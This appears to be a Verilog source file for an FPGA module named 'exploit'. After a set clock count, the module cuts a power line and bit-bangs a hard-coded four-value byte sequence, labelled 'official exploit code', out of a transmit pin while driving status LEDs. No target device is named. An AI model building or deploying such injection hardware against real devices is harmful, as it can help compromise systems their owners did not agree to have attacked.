73 lines
1.8 KiB
Verilog
73 lines
1.8 KiB
Verilog
module exploit
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(
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// exploit
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input clk_in,
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output bang_tx,
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output power_tx,
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output [5:0] led
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);
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////////// EXPLOIT
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localparam INSTRUCTION_OFFSET = 100;
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// da official exploit code
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localparam EXPLOIT_BYTES = {16'hFA,16'hEB,16'h11,16'hDD};
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localparam EXPLOIT_BYTES_LEN = $bits(EXPLOIT_BYTES)-1; // $bits() seems to work // https://www.linkedin.com/pulse/bits-clog2-size-uses-differences-muhammed-kawser-ahmed
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localparam LEDS_ON = 0;
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localparam LEDS_OFF = 6'b111111;
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reg [1:0] bang_tx_reg = 0;
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reg [1:0] power_tx_reg = 1;
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reg [1:0] led_run = 1;
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reg [1:0] rst = 0;
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reg [1:0] running = 1;
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reg [5:0] ledCounter = 0;
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reg [23:0] instruction_counter = 0;
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reg [23:0] exploit_tx_count = 0;
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reg [EXPLOIT_BYTES_LEN:0] exploit_bytes_reg = EXPLOIT_BYTES;
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always @(posedge clk_in) begin
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if(rst == 1) begin
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running = 1;
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power_tx_reg = 1;
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rst = 0;
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end
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if(instruction_counter == INSTRUCTION_OFFSET) begin
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power_tx_reg = 0;
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rst = 1;
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end
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if(running == 1) begin
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if(instruction_counter >= INSTRUCTION_OFFSET && instruction_counter <= INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
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bang_tx_reg <= exploit_bytes_reg[exploit_tx_count];
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exploit_tx_count <= exploit_tx_count + 1;
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led_run <= 1;
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end else begin
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led_run <= 0;
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end
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if(led_run == 1) begin
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ledCounter <= ledCounter + 1;
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if(ledCounter == LEDS_OFF) begin
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ledCounter <= LEDS_ON;
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end
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end
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if(instruction_counter == INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
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ledCounter <= LEDS_ON;
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rst = 1;
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running = 0;
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end
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instruction_counter <= instruction_counter + 1;
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end
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end
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assign led = ledCounter;
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assign bang_tx = bang_tx_reg;
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assign power_tx = power_tx_reg;
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endmodule |